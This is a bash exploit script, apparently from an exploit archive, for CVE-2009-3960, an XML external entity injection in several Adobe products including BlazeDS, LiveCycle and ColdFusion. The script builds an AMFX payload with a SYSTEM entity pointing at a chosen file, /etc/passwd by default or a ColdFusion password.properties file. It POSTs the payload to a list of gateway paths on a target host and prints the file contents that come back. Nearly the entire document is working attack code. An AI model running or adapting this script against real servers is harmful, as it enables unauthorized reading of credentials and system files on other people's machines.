#!/bin/bash
#
# Exploit Title: Adobe XML Injection file content disclosure
# Date: 07-04-2017
# Exploit Author: Thomas Sluyter
# Website: https://www.kilala.nl
# Vendor Homepage: http://www.adobe.com/support/security/bulletins/apsb10-05.html
# Version: Multiple Adobe products
# Tested on: Windows Server 2003, ColdFusion 8.0 Enterprise
# CVE : 2009-3960
#
# Shell script that let's you exploit a known XML injection vulnerability
# in a number of Adobe products, allowing you to read files that are otherwise
# inaccessible. In Metasploit, this is achieved with auxiliary:scanner:adobe_xml_inject
# This script is a Bash implementation of the PoC multiple/dos/11529.txt.
#
# According to the original Metasploit code, this attack works with:
# "Multiple Adobe Products: BlazeDS 3.2 and earlier versions,
# LiveCycle 9.0, 8.2.1, and 8.0.1, LiveCycle Data Services 3.0, 2.6.1,
# and 2.5.1, Flex Data Services 2.0.1, ColdFusion 9.0, 8.0.1, 8.0, and 7.0.2"
#
PROGNAME="$(basename $0)" # This script
TIMESTAMP=$(date +%y%m%d%H%M) # Used for scratchfiles
SCRATCHFILE="/tmp/${PROGNAME}.${TIMESTAMP}" # Used as generic scratchfile
EXITCODE="0" # Assume success, changes on errors
CURL="/usr/bin/curl" # Other locations are detected with "which"
SSL="0" # Overridden by -s
DEBUG="0" # Overridden by -d
BREAKFOUND="0" # Overridden by -b
TARGETHOST="" # Overridden by -h
TARGETPORT="8400" # Overridden by -p
READFILE="/etc/passwd" # Overridden by -f
################################## OVERHEAD SECTION
#
# Various functions for overhead purposes.
#
# Defining our own logger function, so we can switch between stdout and syslog.
logger() {
LEVEL="$1"
MESSAGE="$2"
# You may switch the following two, if you need to log to syslog.
#[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || /usr/bin/logger -p ${LEVEL} "$MESSAGE"
[[ ${DEBUG} -gt 0 ]] && echo "${LEVEL} $MESSAGE" || echo "${LEVEL} $MESSAGE"
}
ExitCleanup() {
EXITCODE=${1}
rm -f ${SCRATCHFILE}* >/dev/null 2>&1
echo ""
exit ${EXITCODE}
}
# Many thanks to http://www.linuxjournal.com/content/validating-ip-address-bash-script
ValidIP() {
local IP=${1}
local STAT=1
if [[ ${IP} =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]
then
OIFS=$IFS; IFS='.'
IP=(${IP})
IFS=$OIFS
[[ (${IP[0]} -le 255) && (${IP[1]} -le 255) && (${IP[2]} -le 255) && (${IP[3]} -le 255) ]]
stat=$?
fi
return $stat
}
# Function to output help information.
show-help() {
echo ""
cat << EOF
${PROGNAME} [-?] [-d] [-s] [-b] -h host [-p port] [-f file]
-? Show this help message.
-d Debug mode, outputs more kruft on stdout.
-s Use SSL / HTTPS, instead of HTTP.
-b Break on the first valid answer found.
-h Target host
-p Target port, defaults to 8400.
-f Full path to file to grab, defaults to /etc/passwd.
This script exploits a known vulnerability in a set of Adobe applications. Using one
of a few possible URLs on the target host (-h) we attempt to read a file (-f) that is
normally inaccessible.
NOTE: Windows paths use \\, so be sure to properly escape them when using -f! For example:
${PROGNAME} -h 192.168.1.20 -f c:\\\\coldfusion8\\\\lib\\\\password.properties
${PROGNAME} -h 192.168.1.20 -f 'c:\\coldfusion8\\lib\\password.properties'
This script relies on CURL, so please have it in your PATH.
EOF
}
# Parsing and verifying the passed parameters.
OPTIND=1
while getopts "?dsbh:p:f:" opt; do
case "$opt" in
\?) show-help; ExitCleanup 0 ;;
d) DEBUG="1" ;;
s) SSL="1" ;;
b) BREAKFOUND="1" ;;
h) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
ValidIP ${OPTARG}; if [[ $? -eq 0 ]]
then TARGETHOST=${OPTARG}
else TARGETHOST=$(nslookup ${OPTARG} | grep ^Name | awk '{print $2}')
[[ $? -gt 0 ]] && (logger ERROR "Target host ${TARGETHOST} not found in DNS."; ExitCleanup 1)
fi ;;
p) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ ! -z $(echo ${OPTARG} | tr -d '[:alnum:]') ]]
then logger ERROR "Target port ${OPTARG} is incorrect."; ExitCleanup 1
else TARGETPORT=${OPTARG}
fi ;;
f) [[ -z ${OPTARG} ]] && (show-help; ExitCleanup 1)
if [[ (-z $(echo ${OPTARG} | grep ^\/)) && (-z $(echo ${OPTARG} | grep ^[a-Z]:)) ]]
then logger ERROR "File is NOT specified with full Unix or Windows path."; ExitCleanup 1
else READFILE=${OPTARG}
fi ;;
*) show-help; ExitCleanup 0 ;;
esac
done
[[ $(which curl) ]] && CURL=$(which curl) || (logger ERROR "CURL was not found."; ExitCleanup 1)
[[ -z ${TARGETHOST} ]] && (logger ERROR "Target host was not set."; ExitCleanup 1)
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with host/port/file: ${TARGETHOST},${TARGETPORT},${READFILE}."
################################## GETTING TO WORK
#
#
PATHLIST=("/flex2gateway/" "/flex2gateway/http" "/flex2gateway/httpsecure" \
"/flex2gateway/cfamfpolling" "/flex2gateway/amf" "/flex2gateway/amfpolling" \
"/messagebroker/http" "/messagebroker/httpsecure" "/blazeds/messagebroker/http" \
"/blazeds/messagebroker/httpsecure" "/samples/messagebroker/http" \
"/samples/messagebroker/httpsecure" "/lcds/messagebroker/http" \
"/lcds/messagebroker/httpsecure" "/lcds-samples/messagebroker/http" \
"/lcds-samples/messagebroker/httpsecure")
echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>" > ${SCRATCHFILE}
echo "<!DOCTYPE test [ <!ENTITY x3 SYSTEM \"${READFILE}\"> ]>" >> ${SCRATCHFILE}
echo "<amfx ver=\"3\" xmlns=\"http://www.macromedia.com/2005/amfx\">" >> ${SCRATCHFILE}
echo "<body><object type=\"flex.messaging.messages.CommandMessage\"><traits>" >> ${SCRATCHFILE}
echo "<string>body</string><string>clientId</string><string>correlationId</string><string>destination</string>" >> ${SCRATCHFILE}
echo "<string>headers</string><string>messageId</string><string>operation</string><string>timestamp</string>" >> ${SCRATCHFILE}
echo "<string>timeToLive</string></traits><object><traits /></object><null /><string /><string /><object>" >> ${SCRATCHFILE}
echo "<traits><string>DSId</string><string>DSMessagingVersion</string></traits><string>nil</string>" >> ${SCRATCHFILE}
echo "<int>1</int></object><string>&x3;</string><int>5</int><int>0</int><int>0</int></object></body></amfx>" >> ${SCRATCHFILE}
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "XML file sent to target host reads as follows:"
echo "======================================"
cat ${SCRATCHFILE}
echo "======================================"
echo ""
fi
let CONTENTLENGTH=$(wc -c ${SCRATCHFILE} | awk '{print $1}')-1
for ADOBEPATH in "${PATHLIST[@]}"
do
[[ ${SSL} -gt 0 ]] && PROTOCOL="https" || PROTOCOL="http"
URI="${PROTOCOL}://${TARGETHOST}:${TARGETPORT}${ADOBEPATH}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Proceeding with URI: ${URI}"
# Header contents based on a tcpdump capture of original exploit being
# run from Metasploit.
HEADER="-H \"Host: ${TARGETHOST}\" -H \"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\" -H \"Content-Type: application/x-www-form-urlencoded\" -H \"Content-Length: ${CONTENTLENGTH}\""
CURLPOST="${CURL} -X POST -k -s --http1.1 ${HEADER} -w \"%{http_code}\" -d @- ${URI}"
[[ ${DEBUG} -gt 0 ]] && logger DEBUG "Using this CURL command: ${CURLPOST}"
# The tr command dikes out any non-ASCII characters which might mess with output.
CURLOUTPUT=$(cat ${SCRATCHFILE} | ${CURLPOST} | tr -cd '\11\12\15\40-\176' 2>&1)
# Output is pretty garbled and the HTTP return code is enclosed in double quotes.
# I need to grab the last 5 chars (includes NULL EOF) and remove the ".
CURLCODE=$(echo ${CURLOUTPUT} | tail -c5 | tr -cd [:digit:])
if [[ ${DEBUG} -gt 0 ]]
then
logger DEBUG "CURL was given this HTTP return code: ${CURLCODE}."
logger DEBUG "Output from CURL reads as follows:"
echo "======================================"
echo "${CURLOUTPUT}"
echo "======================================"
echo ""
fi
logger INFO "${CURLCODE} for ${URI}"
if [[ (${CURLCODE} -eq 200) && (! -z $(echo ${CURLOUTPUT} | grep "<?xml version=")) ]]
then
echo "Read from ${URI}:"
echo "${CURLOUTPUT}" | sed 's/^[^<]*</</'
[[ ${BREAKFOUND} -gt 0 ]] && ExitCleanup 0
fi
if [[ ${DEBUG} -gt 0 ]]
then
echo -e "\nReady to continue with the next URI? [y/n]: \c"
read READY
case ${READY} in
y|Y|yes) logger DEBUG "Moving to next URI."; echo "" ;;
*) logger DEBUG "Aborting..."; ExitCleanup 1 ;;
esac
fi
done
ExitCleanup 0
